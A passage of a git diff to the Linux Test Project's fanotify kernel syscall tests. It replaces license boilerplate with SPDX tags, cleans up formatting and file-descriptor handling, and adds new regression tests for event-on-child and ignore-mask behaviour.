- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  * Started by Jan Kara <jack@suse.cz>
  *
  * DESCRIPTION
@@ -77,14 +59,16 @@
 		       int expect, void (*test_event)(char *))
 {
 	if (fanotify_mark(fd_notify, FAN_MARK_ADD | flag, FAN_OPEN, AT_FDCWD,
-			    file) != expect) {
+			  file) != expect) {
 		tst_res(TFAIL,
-		    "fanotify_mark (%d, FAN_MARK_ADD | %s, FAN_OPEN, AT_FDCWD, "
-		    "'%s') %s", fd_notify, flagstr, file, expect_str_fail(expect));
+			"fanotify_mark (%d, FAN_MARK_ADD | %s, FAN_OPEN, "
+			"AT_FDCWD, '%s') %s", fd_notify, flagstr, file,
+			expect_str_fail(expect));
 	} else {
 		tst_res(TPASS,
-		    "fanotify_mark (%d, FAN_MARK_ADD | %s, FAN_OPEN, AT_FDCWD, "
-		    "'%s') %s", fd_notify, flagstr, file, expect_str_pass(expect));
+			"fanotify_mark (%d, FAN_MARK_ADD | %s, FAN_OPEN, "
+			"AT_FDCWD, '%s') %s", fd_notify, flagstr, file,
+			expect_str_pass(expect));
 
 		/* If we expected failure there's nothing to clean up */
 		if (expect == -1)
@@ -94,11 +78,11 @@
 			test_event(file);
 
 		if (fanotify_mark(fd_notify, FAN_MARK_REMOVE | flag,
-				    FAN_OPEN, AT_FDCWD, file) < 0) {
+				  FAN_OPEN, AT_FDCWD, file) < 0) {
 			tst_brk(TBROK | TERRNO,
-			    "fanotify_mark (%d, FAN_MARK_REMOVE | %s, "
-			    "FAN_OPEN, AT_FDCWD, '%s') failed",
-			    fd_notify, flagstr, file);
+				"fanotify_mark (%d, FAN_MARK_REMOVE | %s, "
+				"FAN_OPEN, AT_FDCWD, '%s') failed",
+				fd_notify, flagstr, file);
 		}
 	}
 }
@@ -137,17 +121,18 @@
 
 	if (event->mask != FAN_OPEN) {
 		tst_res(TFAIL, "got unexpected event %llx",
-			 (unsigned long long)event->mask);
+			(unsigned long long)event->mask);
 	} else if (fstat(event->fd, &st) < 0) {
 		tst_res(TFAIL, "failed to stat event->fd (%s)",
-			 strerror(errno));
+			strerror(errno));
 	} else if ((int)(st.st_mode & S_IFMT) != mask) {
 		tst_res(TFAIL, "event->fd points to object of different type "
-			 "(%o != %o)", st.st_mode & S_IFMT, mask);
+			"(%o != %o)", st.st_mode & S_IFMT, mask);
 	} else {
 		tst_res(TPASS, "event generated properly for type %o", mask);
 	}
-	close(event->fd);
+	if (event->fd != FAN_NOFD)
+		SAFE_CLOSE(event->fd);
 }
 
 static void do_open_test(char *file, int flag, int mask)
@@ -172,12 +157,13 @@
 
 		event = (struct fanotify_event_metadata *)&event_buf[len];
 		tst_res(TFAIL, "seen unexpected event (mask %llx)",
-			 (unsigned long long)event->mask);
+			(unsigned long long)event->mask);
 		/* Cleanup fd from the event */
-		close(event->fd);
+		if (event->fd != FAN_NOFD)
+			SAFE_CLOSE(event->fd);
 	} else if (errno != EAGAIN) {
 		tst_res(TFAIL | TERRNO, "read(%d, buf, %zu) failed", fd_notify,
-			 EVENT_BUF_LEN);
+			EVENT_BUF_LEN);
 	} else {
 		tst_res(TPASS, "No event as expected");
 	}
@@ -206,27 +192,27 @@
 
 	/* Verify FAN_MARK_FLUSH destroys all inode marks */
 	if (fanotify_mark(fd_notify, FAN_MARK_ADD,
-			    FAN_OPEN, AT_FDCWD, fname) < 0) {
+			  FAN_OPEN, AT_FDCWD, fname) < 0) {
 		tst_brk(TBROK | TERRNO,
-		    "fanotify_mark (%d, FAN_MARK_ADD, FAN_OPEN, "
-		    "AT_FDCWD, '%s') failed", fd_notify, fname);
+			"fanotify_mark (%d, FAN_MARK_ADD, FAN_OPEN, "
+			"AT_FDCWD, '%s') failed", fd_notify, fname);
 	}
 	if (fanotify_mark(fd_notify, FAN_MARK_ADD,
-			    FAN_OPEN | FAN_ONDIR, AT_FDCWD, dir) < 0) {
+			  FAN_OPEN | FAN_ONDIR, AT_FDCWD, dir) < 0) {
 		tst_brk(TBROK | TERRNO,
-		    "fanotify_mark (%d, FAN_MARK_ADD, FAN_OPEN | "
-		    "FAN_ONDIR, AT_FDCWD, '%s') failed", fd_notify,
-		    dir);
+			"fanotify_mark (%d, FAN_MARK_ADD, FAN_OPEN | "
+			"FAN_ONDIR, AT_FDCWD, '%s') failed", fd_notify,
+			dir);
 	}
 	open_file(fname);
 	verify_event(S_IFREG);
 	open_dir(dir);
 	verify_event(S_IFDIR);
 	if (fanotify_mark(fd_notify, FAN_MARK_FLUSH,
-			    0, AT_FDCWD, ".") < 0) {
+			  0, AT_FDCWD, ".") < 0) {
 		tst_brk(TBROK | TERRNO,
-		    "fanotify_mark (%d, FAN_MARK_FLUSH, 0, "
-		    "AT_FDCWD, '.') failed", fd_notify);
+			"fanotify_mark (%d, FAN_MARK_FLUSH, 0, "
+			"AT_FDCWD, '.') failed", fd_notify);
 	}
 
 	open_dir(dir);
@@ -248,7 +234,7 @@
 	SAFE_MKDIR(dir, 0755);
 
 	fd_notify = SAFE_FANOTIFY_INIT(FAN_CLASS_NOTIF | FAN_NONBLOCK,
-			O_RDONLY);
+					O_RDONLY);
 }
 
 static void cleanup(void)
diff --git a/testcases/kernel/syscalls/fanotify/fanotify05.c b/testcases/kernel/syscalls/fanotify/fanotify05.c
index ec615e6..52bf30a 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify05.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify05.c
@@ -1,21 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) 2014 SUSE Linux.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
  * Started by Jan Kara <jack@suse.cz>
  *
  * DESCRIPTION
@@ -71,11 +57,11 @@
 		if (len < 0) {
 			if (errno == -EAGAIN) {
 				tst_res(TFAIL, "Overflow event not "
-					 "generated!\n");
+					"generated!\n");
 				break;
 			}
 			tst_brk(TBROK | TERRNO,
-				 "read of notification event failed");
+				"read of notification event failed");
 			break;
 		}
 		if (event.fd != FAN_NOFD)
@@ -87,27 +73,27 @@
 		if (event.mask != FAN_OPEN &&
 		    event.mask != FAN_Q_OVERFLOW) {
 			tst_res(TFAIL,
-				 "get event: mask=%llx (expected %llx)"
-				 "pid=%u fd=%d",
-				 (unsigned long long)event.mask,
-				 (unsigned long long)FAN_OPEN,
-				 (unsigned)event.pid, event.fd);
+				"got event: mask=%llx (expected %llx)"
+				"pid=%u fd=%d",
+				(unsigned long long)event.mask,
+				(unsigned long long)FAN_OPEN,
+				(unsigned)event.pid, event.fd);
 			break;
 		}
 		if (event.mask == FAN_Q_OVERFLOW) {
 			if (event.fd != FAN_NOFD) {
 				tst_res(TFAIL,
-					 "invalid overflow event: "
-					 "mask=%llx pid=%u fd=%d",
-					 (unsigned long long)event.mask,
-					 (unsigned)event.pid,
-					 event.fd);
+					"invalid overflow event: "
+					"mask=%llx pid=%u fd=%d",
+					(unsigned long long)event.mask,
+					(unsigned)event.pid,
+					event.fd);
 				break;
 			}
 			tst_res(TPASS,
-				 "get event: mask=%llx pid=%u fd=%d",
-				 (unsigned long long)event.mask,
-				 (unsigned)event.pid, event.fd);
+				"got event: mask=%llx pid=%u fd=%d",
+				(unsigned long long)event.mask,
+				(unsigned)event.pid, event.fd);
 				break;
 		}
 	}
@@ -119,11 +105,11 @@
 			O_RDONLY);
 
 	if (fanotify_mark(fd_notify, FAN_MARK_MOUNT | FAN_MARK_ADD, FAN_OPEN,
-			    AT_FDCWD, ".") < 0) {
+			  AT_FDCWD, ".") < 0) {
 		tst_brk(TBROK | TERRNO,
-			 "fanotify_mark (%d, FAN_MARK_MOUNT | FAN_MARK_ADD, "
-			 "FAN_OPEN, AT_FDCWD, \".\") failed",
-			 fd_notify);
+			"fanotify_mark (%d, FAN_MARK_MOUNT | FAN_MARK_ADD, "
+			"FAN_OPEN, AT_FDCWD, \".\") failed",
+			fd_notify);
 	}
 }
 
diff --git a/testcases/kernel/syscalls/fanotify/fanotify06.c b/testcases/kernel/syscalls/fanotify/fanotify06.c
index e63e457..6a2e249 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify06.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify06.c
@@ -1,25 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) 2014 SUSE.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  * Started by Jan Kara <jack@suse.cz>
  *
  * DESCRIPTION
@@ -57,9 +39,6 @@
 /* reasonable guess as to size of 1024 events */
 #define EVENT_BUF_LEN        (EVENT_MAX * EVENT_SIZE)
 
-static void setup(void);
-static void cleanup(void);
-
 unsigned int fanotify_prio[] = {
 	FAN_CLASS_PRE_CONTENT,
 	FAN_CLASS_CONTENT,
@@ -71,7 +50,6 @@
 
 #define BUF_SIZE 256
 static char fname[BUF_SIZE];
-static int fd;
 static int fd_notify[FANOTIFY_PRIORITIES][GROUPS_PER_PRIO];
 
 static char event_buf[EVENT_BUF_LEN];
@@ -87,8 +65,8 @@
 	for (p = 0; p < FANOTIFY_PRIORITIES; p++) {
 		for (i = 0; i < GROUPS_PER_PRIO; i++) {
 			fd_notify[p][i] = SAFE_FANOTIFY_INIT(fanotify_prio[p] |
-							FAN_NONBLOCK,
-							O_RDONLY);
+							     FAN_NONBLOCK,
+							     O_RDONLY);
 
 			/* Add mount mark for each group */
 			ret = fanotify_mark(fd_notify[p][i],
@@ -97,9 +75,9 @@
 					    AT_FDCWD, ".");
 			if (ret < 0) {
 				tst_brk(TBROK | TERRNO,
-					 "fanotify_mark(%d, FAN_MARK_ADD | "
-					 "FAN_MARK_MOUNT, FAN_MODIFY, AT_FDCWD,"
-					 " '.') failed", fd_notify[p][i]);
+					"fanotify_mark(%d, FAN_MARK_ADD | "
+					"FAN_MARK_MOUNT, FAN_MODIFY, AT_FDCWD,"
+					" '.') failed", fd_notify[p][i]);
 			}
 			/* Add ignore mark for groups with higher priority */
 			if (p == 0)
@@ -111,11 +89,11 @@
 					    FAN_MODIFY, AT_FDCWD, fname);
 			if (ret < 0) {
 				tst_brk(TBROK | TERRNO,
-					 "fanotify_mark(%d, FAN_MARK_ADD | "
-					 "FAN_MARK_IGNORED_MASK | "
-					 "FAN_MARK_IGNORED_SURV_MODIFY, "
-					 "FAN_MODIFY, AT_FDCWD, %s) failed",
-					 fd_notify[p][i], fname);
+					"fanotify_mark(%d, FAN_MARK_ADD | "
+					"FAN_MARK_IGNORED_MASK | "
+					"FAN_MARK_IGNORED_SURV_MODIFY, "
+					"FAN_MODIFY, AT_FDCWD, %s) failed",
+					fd_notify[p][i], fname);
 			}
 		}
 	}
@@ -127,12 +105,8 @@
 
 	for (p = 0; p < FANOTIFY_PRIORITIES; p++) {
 		for (i = 0; i < GROUPS_PER_PRIO; i++) {
-			if (fd_notify[p][i] && fd_notify[p][i] != -1) {
-				if (close(fd_notify[p][i]) == -1)
-					tst_res(TWARN, "close(%d) failed",
-						 fd_notify[p][i]);
-				fd_notify[p][i] = 0;
-			}
+			if (fd_notify[p][i] > 0)
+				SAFE_CLOSE(fd_notify[p][i]);
 		}
 	}
 }
@@ -140,19 +114,19 @@
 static void verify_event(int group, struct fanotify_event_metadata *event)
 {
 	if (event->mask != FAN_MODIFY) {
-		tst_res(TFAIL, "group %d get event: mask %llx (expected %llx) "
-			 "pid=%u fd=%u", group, (unsigned long long)event->mask,
-			 (unsigned long long)FAN_MODIFY,
-			 (unsigned)event->pid, event->fd);
+		tst_res(TFAIL, "group %d got event: mask %llx (expected %llx) "
+			"pid=%u fd=%d", group, (unsigned long long)event->mask,
+			(unsigned long long)FAN_MODIFY,
+			(unsigned)event->pid, event->fd);
 	} else if (event->pid != getpid()) {
-		tst_res(TFAIL, "group %d get event: mask %llx pid=%u "
-			 "(expected %u) fd=%u", group,
-			 (unsigned long long)event->mask, (unsigned)event->pid,
-			 (unsigned)getpid(), event->fd);
+		tst_res(TFAIL, "group %d got event: mask %llx pid=%u "
+			"(expected %u) fd=%d", group,
+			(unsigned long long)event->mask, (unsigned)event->pid,
+			(unsigned)getpid(), event->fd);
 	} else {
-		tst_res(TPASS, "group %d get event: mask %llx pid=%u fd=%u",
-			 group, (unsigned long long)event->mask,
-			 (unsigned)event->pid, event->fd);
+		tst_res(TPASS, "group %d got event: mask %llx pid=%u fd=%d",
+			group, (unsigned long long)event->mask,
+			(unsigned)event->pid, event->fd);
 	}
 }
 
@@ -167,9 +141,7 @@
 	/*
 	 * generate sequence of events
 	 */
-	fd = SAFE_OPEN(fname, O_RDWR);
-	SAFE_WRITE(1, fd, fname, strlen(fname));
-	SAFE_CLOSE(fd);
+	SAFE_FILE_PRINTF(fname, "1");
 
 	/* First verify all groups without ignore mask got the event */
 	for (i = 0; i < GROUPS_PER_PRIO; i++) {
@@ -177,41 +149,45 @@
 		if (ret < 0) {
 			if (errno == EAGAIN) {
 				tst_res(TFAIL, "group %d did not get "
-					 "event", i);
+					"event", i);
 			}
 			tst_brk(TBROK | TERRNO,
-				 "reading fanotify events failed");
+				"reading fanotify events failed");
 		}
 		if (ret < (int)FAN_EVENT_METADATA_LEN) {
 			tst_brk(TBROK,
-				 "short read when reading fanotify "
-				 "events (%d < %d)", ret,
-				 (int)EVENT_BUF_LEN);
+				"short read when reading fanotify "
+				"events (%d < %d)", ret,
+				(int)EVENT_BUF_LEN);
 		}
 		event = (struct fanotify_event_metadata *)event_buf;
 		if (ret > (int)event->event_len) {
 			tst_res(TFAIL, "group %d got more than one "
-				 "event (%d > %d)", i, ret,
-				 event->event_len);
-		} else
+				"event (%d > %d)", i, ret,
+				event->event_len);
+		} else {
 			verify_event(i, event);
-		close(event->fd);
+		}
+		if (event->fd != FAN_NOFD)
+			SAFE_CLOSE(event->fd);
 	}
 	for (p = 1; p < FANOTIFY_PRIORITIES; p++) {
 		for (i = 0; i < GROUPS_PER_PRIO; i++) {
 			ret = read(fd_notify[p][i], event_buf, EVENT_BUF_LEN);
 			if (ret > 0) {
 				tst_res(TFAIL, "group %d got event",
-					 p*GROUPS_PER_PRIO + i);
+					p*GROUPS_PER_PRIO + i);
+				if (event->fd != FAN_NOFD)
+					SAFE_CLOSE(event->fd);
 			} else if (ret == 0) {
 				tst_brk(TBROK, "zero length "
-					 "read from fanotify fd");
+					"read from fanotify fd");
 			} else if (errno != EAGAIN) {
 				tst_brk(TBROK | TERRNO,
-					 "reading fanotify events failed");
+					"reading fanotify events failed");
 			} else {
 				tst_res(TPASS, "group %d got no event",
-					 p*GROUPS_PER_PRIO + i);
+					p*GROUPS_PER_PRIO + i);
 			}
 		}
 	}
@@ -221,16 +197,12 @@
 static void setup(void)
 {
 	SAFE_MKDIR(MOUNT_NAME, 0755);
-	SAFE_MOUNT(MOUNT_NAME, MOUNT_NAME, NULL, MS_BIND, NULL);
+	SAFE_MOUNT(MOUNT_NAME, MOUNT_NAME, "none", MS_BIND, NULL);
 	mount_created = 1;
 	SAFE_CHDIR(MOUNT_NAME);
 
 	sprintf(fname, "tfile_%d", getpid());
-	fd = SAFE_OPEN(fname, O_RDWR | O_CREAT, 0700);
-	SAFE_WRITE(1, fd, fname, 1);
-
-	/* close the file we have open */
-	SAFE_CLOSE(fd);
+	SAFE_FILE_PRINTF(fname, "1");
 }
 
 static void cleanup(void)
diff --git a/testcases/kernel/syscalls/fanotify/fanotify07.c b/testcases/kernel/syscalls/fanotify/fanotify07.c
index af95c39..c2e1857 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify07.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify07.c
@@ -1,25 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2017 SUSE.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 or any later of the GNU General Public License
- * as published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  * Started by Jan Kara <jack@suse.cz>
  *
  * DESCRIPTION
@@ -154,8 +136,8 @@
 
 		if (event.mask != FAN_ACCESS_PERM) {
 			tst_res(TFAIL,
-				"get event: mask=%llx (expected %llx) "
-				"pid=%u fd=%u",
+				"got event: mask=%llx (expected %llx) "
+				"pid=%u fd=%d",
 				(unsigned long long)event.mask,
 				(unsigned long long)FAN_ACCESS_PERM,
 				(unsigned)event.pid, event.fd);
diff --git a/testcases/kernel/syscalls/fanotify/fanotify08.c b/testcases/kernel/syscalls/fanotify/fanotify08.c
index 8d3d40e..a4031b4 100644
--- a/testcases/kernel/syscalls/fanotify/fanotify08.c
+++ b/testcases/kernel/syscalls/fanotify/fanotify08.c
@@ -1,25 +1,7 @@
+// SPDX-License-Identifier: GPL-2.0
 /*
  * Copyright (c) 2017 RedHat.  All Rights Reserved.
  *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  * Started by Xiong Zhou <xzhou@redhat.com>
  *
  * DESCRIPTION
diff --git a/testcases/kernel/syscalls/fanotify/fanotify09.c b/testcases/kernel/syscalls/fanotify/fanotify09.c
new file mode 100644
index 0000000..0f926c4
--- /dev/null
+++ b/testcases/kernel/syscalls/fanotify/fanotify09.c
@@ -0,0 +1,272 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2018 CTERA Networks.  All Rights Reserved.
+ *
+ * Started by Amir Goldstein <amir73il@gmail.com>
+ *
+ * DESCRIPTION
+ *     Check that fanotify handles events on children correctly when
+ *     both inode and mountpoint marks exist.
+ *
+ * This is a regression test for commit 54a307ba8d3c:
+ *
+ *      fanotify: fix logic of events on child
+ *
+ * Test case #2 is a regression test for commit b469e7e47c8a:
+ *
+ *      fanotify: fix handling of events on child sub-directory
+ */
+#define _GNU_SOURCE
+#include "config.h"
+
+#include <stdio.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <string.h>
+#include <sys/mount.h>
+#include <sys/syscall.h>
+#include <stdint.h>
+#include "tst_test.h"
+#include "fanotify.h"
+
+#if defined(HAVE_SYS_FANOTIFY_H)
+#include <sys/fanotify.h>
+
+#define EVENT_MAX 1024
+/* size of the event structure, not counting name */
+#define EVENT_SIZE  (sizeof (struct fanotify_event_metadata))
+/* reasonable guess as to size of 1024 events */
+#define EVENT_BUF_LEN        (EVENT_MAX * EVENT_SIZE)
+
+#define NUM_GROUPS 3
+
+#define BUF_SIZE 256
+static char fname[BUF_SIZE];
+static char symlnk[BUF_SIZE];
+static char fdpath[BUF_SIZE];
+static int fd_notify[NUM_GROUPS];
+
+static char event_buf[EVENT_BUF_LEN];
+
+#define MOUNT_NAME "mntpoint"
+#define DIR_NAME "testdir"
+static int mount_created;
+
+static struct tcase {
+	const char *tname;
+	unsigned int ondir;
+	int nevents;
+} tcases[] = {
+	{
+		"Events on children with both inode and mount marks",
+		0,
+		1,
+	},
+	{
+		"Events on children and subdirs with both inode and mount marks",
+		FAN_ONDIR,
+		2,
+	},
+};
+
+static void create_fanotify_groups(unsigned int ondir)
+{
+	unsigned int i, onchild;
+	int ret;
+
+	for (i = 0; i < NUM_GROUPS; i++) {
+		fd_notify[i] = SAFE_FANOTIFY_INIT(FAN_CLASS_NOTIF |
+						  FAN_NONBLOCK,
+						  O_RDONLY);
+
+		/* Add mount mark for each group without MODIFY event */
+		onchild = (i == 0) ? FAN_EVENT_ON_CHILD | ondir : 0;
+		ret = fanotify_mark(fd_notify[i],
+				    FAN_MARK_ADD | FAN_MARK_MOUNT,
+				    FAN_CLOSE_NOWRITE | onchild,
+				    AT_FDCWD, ".");
+		if (ret < 0) {
+			tst_brk(TBROK | TERRNO,
+				"fanotify_mark(%d, FAN_MARK_ADD | "
+				"FAN_MARK_MOUNT, FAN_MODIFY%s, AT_FDCWD,"
+				" '.') failed", fd_notify[i],
+				ondir ? " | FAN_ONDIR" : "");
+		}
+		/*
+		 * Add inode mark on parent for each group with MODIFY
+		 * event, but only one group requests events on child.
+		 * The one mark with FAN_EVENT_ON_CHILD is needed for
+		 * setting the DCACHE_FSNOTIFY_PARENT_WATCHED dentry
+		 * flag.
+		 */
+		ret = fanotify_mark(fd_notify[i], FAN_MARK_ADD,
+				    FAN_MODIFY | ondir | onchild,
+				    AT_FDCWD, ".");
+		if (ret < 0) {
+			tst_brk(TBROK | TERRNO,
+				"fanotify_mark(%d, FAN_MARK_ADD, "
+				"FAN_MODIFY%s%s, AT_FDCWD, '.') failed",
+				fd_notify[i],
+				ondir ? " | FAN_ONDIR" : "",
+				onchild ? " | FAN_EVENT_ON_CHILD" : "");
+		}
+	}
+}
+
+static void cleanup_fanotify_groups(void)
+{
+	unsigned int i;
+
+	for (i = 0; i < NUM_GROUPS; i++) {
+		if (fd_notify[i] > 0)
+			SAFE_CLOSE(fd_notify[i]);
+	}
+}
+
+static void verify_event(int group, struct fanotify_event_metadata *event,
+			 uint32_t expect)
+{
+	if (event->mask != expect) {
+		tst_res(TFAIL, "group %d got event: mask %llx (expected %llx) "
+			"pid=%u fd=%d", group, (unsigned long long)event->mask,
+			(unsigned long long)expect,
+			(unsigned)event->pid, event->fd);
+	} else if (event->pid != getpid()) {
+		tst_res(TFAIL, "group %d got event: mask %llx pid=%u "
+			"(expected %u) fd=%d", group,
+			(unsigned long long)event->mask, (unsigned)event->pid,
+			(unsigned)getpid(), event->fd);
+	} else {
+		int len;
+		sprintf(symlnk, "/proc/self/fd/%d", event->fd);
+		len = readlink(symlnk, fdpath, sizeof(fdpath));
+		if (len < 0)
+			len = 0;
+		fdpath[len] = 0;
+		tst_res(TPASS, "group %d got event: mask %llx pid=%u fd=%d path=%s",
+			group, (unsigned long long)event->mask,
+			(unsigned)event->pid, event->fd, fdpath);
+	}
+}
+
+static void test_fanotify(unsigned int n)
+{
+	int ret, dirfd;
+	unsigned int i;
+	struct fanotify_event_metadata *event, *ev;
+	struct tcase *tc = &tcases[n];
+
+	tst_res(TINFO, "Test #%d: %s", n, tc->tname);
+
+	create_fanotify_groups(tc->ondir);
+
+	/*
+	 * generate MODIFY event and no FAN_CLOSE_NOWRITE event.
+	 */
+	SAFE_FILE_PRINTF(fname, "1");
+	/*
+	 * generate FAN_CLOSE_NOWRITE event on a child subdir.
+	 */
+	dirfd = SAFE_OPEN(DIR_NAME, O_RDONLY);
+	if (dirfd >= 0)
+		SAFE_CLOSE(dirfd);
+
+	/*
+	 * First verify the first group got the file MODIFY event and got just
+	 * one FAN_CLOSE_NOWRITE event.
+	 */
+	ret = read(fd_notify[0], event_buf, EVENT_BUF_LEN);
+	if (ret < 0) {
+		if (errno == EAGAIN) {
+			tst_res(TFAIL, "first group did not get event");
+		} else {
+			tst_brk(TBROK | TERRNO,
+				"reading fanotify events failed");
+		}
+	}
+	if (ret < tc->nevents * (int)FAN_EVENT_METADATA_LEN) {
+		tst_brk(TBROK,
+			"short read when reading fanotify events (%d < %d)",
+			ret, tc->nevents * (int)FAN_EVENT_METADATA_LEN);
+	}
+	event = (struct fanotify_event_metadata *)event_buf;
+	verify_event(0, event, FAN_MODIFY);
+	if (tc->ondir)
+		verify_event(0, event + 1, FAN_CLOSE_NOWRITE);
+	if (ret > tc->nevents * (int)FAN_EVENT_METADATA_LEN) {
+		tst_res(TFAIL,
+			"first group got more than %d events (%d > %d)",
+			tc->nevents, ret,
+			tc->nevents * (int)FAN_EVENT_METADATA_LEN);
+	}
+	/* Close all file descriptors of read events */
+	for (ev = event; ret >= (int)FAN_EVENT_METADATA_LEN; ev++) {
+		if (ev->fd != FAN_NOFD)
+			SAFE_CLOSE(ev->fd);
+		ret -= (int)FAN_EVENT_METADATA_LEN;
+	}
+
+	/*
+	 * Then verify the rest of the groups did not get the MODIFY event and
+	 * did not get the FAN_CLOSE_NOWRITE event on subdir.
+	 */
+	for (i = 1; i < NUM_GROUPS; i++) {
+		ret = read(fd_notify[i], event_buf, FAN_EVENT_METADATA_LEN);
+		if (ret > 0) {
+			tst_res(TFAIL, "group %d got event", i);
+			verify_event(i, event, FAN_CLOSE_NOWRITE);
+			if (event->fd != FAN_NOFD)
+				SAFE_CLOSE(event->fd);
+			continue;
+		}
+
+		if (ret == 0) {
+			tst_brk(TBROK, "zero length read from fanotify fd");
+		}
+
+		if (errno != EAGAIN) {
+			tst_brk(TBROK | TERRNO,
+				"reading fanotify events failed");
+		}
+
+		tst_res(TPASS, "group %d got no event", i);
+	}
+	cleanup_fanotify_groups();
+}
+
+static void setup(void)
+{
+	SAFE_MKDIR(MOUNT_NAME, 0755);
+	SAFE_MOUNT(MOUNT_NAME, MOUNT_NAME, "none", MS_BIND, NULL);
+	mount_created = 1;
+	SAFE_CHDIR(MOUNT_NAME);
+	SAFE_MKDIR(DIR_NAME, 0755);
+
+	sprintf(fname, "tfile_%d", getpid());
+	SAFE_FILE_PRINTF(fname, "1");
+}
+
+static void cleanup(void)
+{
+	cleanup_fanotify_groups();
+
+	SAFE_CHDIR("../");
+
+	if (mount_created && tst_umount(MOUNT_NAME) < 0)
+		tst_brk(TBROK | TERRNO, "umount failed");
+}
+
+static struct tst_test test = {
+	.test = test_fanotify,
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.needs_root = 1
+};
+
+#else
+	TST_TEST_TCONF("system doesn't have required fanotify support");
+#endif
diff --git a/testcases/kernel/syscalls/fanotify/fanotify10.c b/testcases/kernel/syscalls/fanotify/fanotify10.c
new file mode 100644
index 0000000..820c50a
--- /dev/null
+++ b/testcases/kernel/syscalls/fanotify/fanotify10.c
@@ -0,0 +1,342 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (c) 2014 SUSE.  All Rights Reserved.
+ * Copyright (c) 2018 CTERA Networks.  All Rights Reserved.
+ *
+ * Started by Jan Kara <jack@suse.cz>
+ * Forked from fanotify06.c by Amir Goldstein <amir73il@gmail.com>
+ *
+ * DESCRIPTION
+ *     Check that fanotify properly merges ignore mask of a mount mark
+ *     with a mask of an inode mark on the same group.  Unlike the
+ *     prototype test fanotify06, do not use FAN_MODIFY event for the
+ *     test mask, because it hides the bug.
+ *
+ * This is a regression test for commit:
+ *
+ *     9bdda4e9cf2d fsnotify: fix ignore mask logic in fsnotify()
+ */
+#define _GNU_SOURCE
+#include "config.h"
+
+#include <stdio.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <string.h>
+#include <sys/mount.h>
+#include <sys/syscall.h>
+#include "tst_test.h"
+#include "fanotify.h"
+
+#if defined(HAVE_SYS_FANOTIFY_H)
+#include <sys/fanotify.h>
+
+#define EVENT_MAX 1024
+/* size of the event structure, not counting name */
+#define EVENT_SIZE  (sizeof (struct fanotify_event_metadata))
+/* reasonable guess as to size of 1024 events */
+#define EVENT_BUF_LEN        (EVENT_MAX * EVENT_SIZE)
+
+static unsigned int fanotify_prio[] = {
+	FAN_CLASS_PRE_CONTENT,
